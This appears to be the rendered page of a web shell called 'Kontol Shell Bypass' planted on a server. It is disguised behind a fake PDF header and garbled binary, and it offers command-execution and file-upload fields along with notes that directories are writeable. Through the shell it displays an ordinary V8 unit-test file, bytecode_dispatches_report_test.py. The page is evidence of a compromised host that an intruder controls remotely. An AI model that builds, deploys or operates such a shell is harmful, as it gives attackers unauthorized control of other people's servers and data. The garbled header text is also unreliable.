%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /home/ubuntu/node-v16.18.1/deps/v8/tools/ignition/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //home/ubuntu/node-v16.18.1/deps/v8/tools/ignition/bytecode_dispatches_report_test.py
# Copyright 2016 the V8 project authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.

import bytecode_dispatches_report as bdr
import unittest


class BytecodeDispatchesReportTest(unittest.TestCase):
  def test_find_top_counters(self):
    top_counters = bdr.find_top_bytecode_dispatch_pairs({
      "a": {"a": 10, "b": 8, "c": 99},
      "b": {"a":  1, "b": 4, "c":  1},
      "c": {"a": 42, "b": 3, "c":  7}}, 5)
    self.assertListEqual(top_counters, [
      ('a', 'c', 99),
      ('c', 'a', 42),
      ('a', 'a', 10),
      ('a', 'b',  8),
      ('c', 'c',  7)])

  def test_build_counters_matrix(self):
    counters_matrix, xlabels, ylabels = bdr.build_counters_matrix({
      "a": {"a": 10, "b":  8, "c":  7},
      "b": {"a":  1, "c":  4},
      "c": {"a": 42, "b": 12, "c": 99}})
    self.assertTrue((counters_matrix == [[42, 12, 99],
                                         [ 1,  0,  4],
                                         [10,  8,  7]]).all())
    self.assertListEqual(xlabels, ['a', 'b', 'c'])
    self.assertListEqual(ylabels, ['c', 'b', 'a'])

  def test_find_top_bytecodes(self):
    top_dispatch_sources = bdr.find_top_bytecodes({
      "a": {"a": 10, "b":  8, "c":  7},
      "b": {"a":  1, "c":  4},
      "c": {"a": 42, "b": 12, "c": 99}
    })
    self.assertListEqual(top_dispatch_sources, [
      ('c', 153),
      ('a',  25),
      ('b',   5)
    ])

  def test_find_top_dispatch_sources_and_destinations(self):
    d = {
      "a": {"a":  4, "b":  2, "c":  4},
      "b": {"a":  1, "c":  4},
      "c": {"a": 40, "b": 10, "c": 50}
    }
    top_sources, top_dests = bdr.find_top_dispatch_sources_and_destinations(
      d, "b", 10, False)
    self.assertListEqual(top_sources, [
      ("c", 10, 0.1),
      ("a", 2, 0.2)
    ])
    top_sources, top_dests = bdr.find_top_dispatch_sources_and_destinations(
      d, "b", 10, True)
    self.assertListEqual(top_sources, [
      ("a", 2, 0.2),
      ("c", 10, 0.1)
    ])

Kontol Shell Bypass